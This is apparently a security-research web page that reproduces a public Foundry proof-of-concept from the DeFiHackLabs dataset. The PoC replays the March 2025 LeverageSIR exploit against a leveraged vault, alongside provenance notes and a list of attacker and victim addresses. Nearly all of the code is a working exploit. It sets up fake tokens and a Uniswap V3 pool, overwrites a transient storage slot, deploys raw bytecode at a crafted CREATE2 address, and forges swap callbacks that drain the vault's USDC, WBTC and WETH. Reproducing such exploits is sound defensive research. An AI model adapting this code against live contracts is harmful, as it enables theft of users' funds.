Public reproduction file
src/test/2025-03/LeverageSIR_exp.sol
Public reproduction file for dataset entry LeverageSIR.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~ 353.8 K (17814,86 USDC, 1,4085 WBTC, 119,87 WETH)8// Original Attacker : https://etherscan.io/address/0x27defcfa6498f957918f407ed8a58eba2884768c9// Attack Contract(Main) : https://etherscan.io/address/0xea55fffae1937e47eba2d854ab7bd29a9cc2917010// Attack Contract(Dumb Token) : https://etherscan.io/address/0x341c853c09b3691b434781078572f9d3ab9e3cbb11// Attack Contract(Create2 Deployed) : https://etherscan.io/address/0x00000000001271551295307acc16ba1e7e0d428112// Vulnerable Contract : https://etherscan.io/address/0xb91ae2c8365fd45030aba84a4666c4db074e53e713// Attack Tx : https://etherscan.io/tx/0xa05f047ddfdad9126624c4496b5d4a59f961ee7c091e7b4e38cee86f1335736f14// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)16// Contracts involved17address constant vault = 0xB91AE2c8365FD45030abA84a4666C4dB074E53E7;19address constant uniV3PositionsNFT = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;20address constant uniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;21address constant immutableCreate2Factory = 0x0000000000FFe8B47B3e2130213B802212439497;23address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;24address constant wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;25address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;27contract LeverageSIR_exp is Test {28 address attacker = makeAddr("attacker");30 function setUp() public {31 vm.createSelectFork("mainnet", 22_157_900 - 1);32 }34 function testPoC() public {35 vm.startPrank(attacker);36 AttackerC_A attC_A = new AttackerC_A();37 AttackerC_B attC_B = new AttackerC_B();38 while (address(attC_A) < address(attC_B)) {39 attC_B = new AttackerC_B();40 }42 attC_A.attack(attC_B);44 console2.log("Profit:", IFS(usdc).balanceOf(attacker), 'USDC');45 console2.log("Profit:", IFS(wbtc).balanceOf(attacker), 'WBTC');46 console2.log("Profit:", IFS(weth).balanceOf(attacker), 'WETH');47 }48}50contract AttackerC_A is Test {51 function attack(AttackerC_B attC_B) external {52 IPoolInitializer(uniV3PositionsNFT).createAndInitializePoolIfNecessary(53 address(attC_B),54 address(this), 55 100, 56 7922816251426433759354395033657 );59 uint256 amount1 = 108823205127466839754387550950703;60 INonfungiblePositionManager(uniV3PositionsNFT).mint(INonfungiblePositionManager.MintParams(61 address(attC_B),62 address(this), 63 100,64 -190000,65 190000,66 amount1,67 amount1,68 0,69 0,70 address(this), 71 block.timestamp72 ));74 Uni_Router_V3(uniV3Router).exactInputSingle(Uni_Router_V3.ExactInputSingleParams(75 address(this), 76 address(attC_B),77 100,78 address(this), 79 block.timestamp,80 114814730000000000000000000000000000,81 0,82 083 ));85 IFS(vault).initialize(IFS.VaultParameters(86 address(attC_B),87 address(this),88 089 ));91 // Manipulate SLOT 1 (`tstore(1, amount)`)92 IFS(vault).mint(93 true,94 IFS.VaultParameters(95 address(attC_B),96 address(this),97 098 ),99 139650998347915452795864661928406629,100 1101 );103 // Create a contract with the same address of SLOT 1(95759995883742311247042417521410689 === 0x00000000001271551295307acc16ba1e7e0d4281)104 address deploymentAddress = IFS(immutableCreate2Factory).safeCreate2(105 0x0000000000000000000000000000000000000000d739dcf6ae98b123e5650020,106 hex'608060405234801561001057600080fd5b50600080546001600160a01b031916321790556102f2806100326000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c806311b92ab914610046578063d6d2b6ba1461005b578063e086e5ec1461006e575b600080fd5b61005961005436600461020d565b610076565b005b61005961006936600461020d565b6100ff565b61005961016d565b6000546001600160a01b0316321461008d57600080fd5b6000836001600160a01b031683836040516100a9929190610276565b6000604051808303816000865af19150503d80600081146100e6576040519150601f19603f3d011682016040523d82523d6000602084013e6100eb565b606091505b50509050806100f957600080fd5b50505050565b6000546001600160a01b0316321461011657600080fd5b6000836001600160a01b03168383604051610132929190610276565b600060405180830381855af49150503d80600081146100e6576040519150601f19603f3d011682016040523d82523d6000602084013e6100eb565b6000546001600160a01b0316321461018457600080fd5b60405132904780156108fc02916000818181858888f193505050501580156101b0573d6000803e3d6000fd5b50565b80356101be816102a8565b92915050565b60008083601f8401126101d657600080fd5b50813567ffffffffffffffff8111156101ee57600080fd5b60208301915083600182028301111561020657600080fd5b9250929050565b60008060006040848603121561022257600080fd5b600061022e86866101b3565b935050602084013567ffffffffffffffff81111561024b57600080fd5b610257868287016101c4565b92509250509250925092565b600061027083858461029c565b50500190565b6000610283828486610263565b949350505050565b60006001600160a01b0382166101be565b82818337506000910152565b6102b18161028b565b81146101b057600080fdfea26469706673582212206248366d18b20b1f2aadb961f5564f10ba9323e8fa7413f070e5cbc150a2d0b064736f6c63430008040033'107 );109 // At this point the deploymentAddress contract have the control to call the uniswapV3SwapCallback function111 // Take all USDC from Vault contract to deploymentAddress contract112 deploymentAddress.call(hex'11b92ab9000000000000000000000000b91ae2c8365fd45030aba84a4666c4db074e53e700000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000224fa461e3300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000425d93b54000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a000000000000000000000000959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000');114 // Transfer all USDC from deploymentAddress contract to attacker115 // And again manipulate SLOT 1 (`tstore(1, amount)`) so that it is this(AttackerC_A) contract116 deploymentAddress.call(hex'11b92ab9000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4800000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000044a9059cbb0000000000000000000000009dF0C6b0066D5317aA5b38B36850548DaCCa6B4e0000000000000000000000000000000000000000000000000000000425d93b5400000000000000000000000000000000000000000000000000000000');118 // Now take all the WBTC119 uint256 wbtcBal = IERC20(wbtc).balanceOf(vault);120 bytes memory data3;121 data3 = bytes.concat(data3, bytes32(uint256(uint160(address(this)))));122 data3 = bytes.concat(data3, bytes32(uint256(uint160(address(this)))));123 data3 = bytes.concat(data3, bytes32(uint256(uint160(wbtc))));124 data3 = bytes.concat(data3, bytes32(uint256(uint160(address(this)))));125 data3 = bytes.concat(data3, bytes32(0));126 data3 = bytes.concat(data3, bytes32(0));127 data3 = bytes.concat(data3, bytes32(0));128 data3 = bytes.concat(data3, bytes32(0));129 data3 = bytes.concat(data3, bytes32(0));130 data3 = bytes.concat(data3, bytes32(0));131 data3 = bytes.concat(data3, bytes32(0));132 data3 = bytes.concat(data3, bytes32(0));133 data3 = bytes.concat(data3, bytes32(uint256(1)));135 IFS(vault).uniswapV3SwapCallback(136 0,137 int256(wbtcBal),138 data3139 );141 IERC20(wbtc).transfer(msg.sender, wbtcBal);143 // And finally take all the WETH144 uint256 wethBal = IERC20(weth).balanceOf(vault);145 bytes memory data4;146 data4 = bytes.concat(data4, bytes32(uint256(uint160(address(this)))));147 data4 = bytes.concat(data4, bytes32(uint256(uint160(address(this)))));148 data4 = bytes.concat(data4, bytes32(uint256(uint160(weth))));149 data4 = bytes.concat(data4, bytes32(uint256(uint160(address(this)))));150 data4 = bytes.concat(data4, bytes32(0));151 data4 = bytes.concat(data4, bytes32(0));152 data4 = bytes.concat(data4, bytes32(0));153 data4 = bytes.concat(data4, bytes32(0));154 data4 = bytes.concat(data4, bytes32(0));155 data4 = bytes.concat(data4, bytes32(0));156 data4 = bytes.concat(data4, bytes32(0));157 data4 = bytes.concat(data4, bytes32(0));158 data4 = bytes.concat(data4, bytes32(uint256(1)));160 IFS(vault).uniswapV3SwapCallback(161 0,162 int256(wethBal),163 data4164 );166 IERC20(weth).transfer(msg.sender, wethBal);167 }169 // ERC20171 mapping(address => uint256) public balanceOf;173 function symbol() external view returns (string memory){174 return "";175 }177 function decimals() external view returns (uint8) {178 return 18;179 }181 function transfer(address to, uint256 value) external returns (bool) {182 balanceOf[to] += value;183 return true;184 }186 function transferFrom(address from, address to, uint256 value) external returns (bool) {187 balanceOf[to] += value;188 return true;189 }191 struct Reserves {192 uint144 reserveApes;193 uint144 reserveLPers;194 int64 tickPriceX42;195 }196 struct Fees {197 uint144 collateralInOrWithdrawn;198 uint144 collateralFeeToStakers;199 uint144 collateralFeeToLPers;200 }202 function mint(203 address to,204 uint16 baseFee,205 uint8 tax,206 Reserves memory reserves,207 uint144 collateralDeposited208 ) external returns (Reserves memory newReserves, Fees memory fees, uint256 amount) {209 newReserves = Reserves(10000000000, 0, 0);210 fees = Fees(0, 0, 0);211 amount = uint160(address(this));212 }213}215contract AttackerC_B {216 mapping(address => uint256) public balanceOf;218 function symbol() external view returns (string memory){219 return "";220 }222 function transfer(address to, uint256 value) external returns (bool) {223 balanceOf[to] += value;224 return true;225 }227 function transferFrom(address from, address to, uint256 value) external returns (bool) {228 balanceOf[to] += value;229 return true;230 }231}233interface IFS is IERC20 {234 // Vault235 struct VaultParameters {236 address debtToken;237 address collateralToken;238 int8 leverageTier;239 }241 function initialize(VaultParameters memory vaultParams) external;242 function mint(243 bool isAPE,244 VaultParameters memory vaultParams,245 uint256 amountToDeposit,246 uint144 collateralToDepositMin247 ) external payable returns (uint256 amount);249 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;251 // ImmutableCreate2Factory252 function safeCreate2(253 bytes32 salt,254 bytes calldata initializationCode255 ) external payable returns (address deploymentAddress);256}Analysis
Dataset entry
Public Foundry test for “LeverageSIR” (2025-03-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/BBXToken_exp.solSame month in the dataset · 128 lines
- src/test/2025-03/DCFToken_exp.solSame month in the dataset · 184 lines
- src/test/2025-03/DUCKVADER_exp.solSame month in the dataset · 82 lines
- src/test/2025-03/H2O_exp.solSame month in the dataset · 163 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/Pump_exp.solSame month in the dataset · 130 lines
- src/test/2025-03/RnsPay_exp.solSame month in the dataset · 157 lines
- src/test/2025-03/SBRToken_exp.solSame month in the dataset · 80 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_3f27_exp.solSame month in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame month in the dataset · 129 lines
- src/test/2025-03/wKeyDAO_exp.solSame month in the dataset · 160 lines
- src/test/2025-03/YziAIToken_exp.solSame month in the dataset · 69 lines
- src/test/2025-03/ZeroExSettler_exp.solSame month in the dataset · 110 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attack Contract
0xea55fffae1937e47eba2d854ab7bd29a9cc29170
- Attack Contract
0x341c853c09b3691b434781078572f9d3ab9e3cbb
- Attack Contract
0x00000000001271551295307acc16ba1e7e0d4281
- Vulnerable Contract
0xb91ae2c8365fd45030aba84a4666c4db074e53e7
- Attack Tx
0xa05f047ddfdad9126624c4496b5d4a59f961ee7c091e7b4e38cee86f1335736f
- Explorer: https://etherscan.io/address/0x27defcfa6498f957918f407ed8a58eba2884768c
- Explorer: https://etherscan.io/address/0xea55fffae1937e47eba2d854ab7bd29a9cc29170
- Explorer: https://etherscan.io/address/0x341c853c09b3691b434781078572f9d3ab9e3cbb
- Explorer: https://etherscan.io/address/0x00000000001271551295307acc16ba1e7e0d4281
- Explorer: https://etherscan.io/address/0xb91ae2c8365fd45030aba84a4666c4db074e53e7
- Reference: https://twitter.com/rotcivegaf
File record
- Name
- LeverageSIR
- Path
- src/test/2025-03/LeverageSIR_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ba6463bf1f6278d53842e219bb25fdafb9c8dd00
- Language
- Solidity
- Size
- 258 lines
- Date
- 2025-03-30
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/LeverageSIR_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ba6463bf1f6278d53842e219bb25fdafb9c8dd00, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.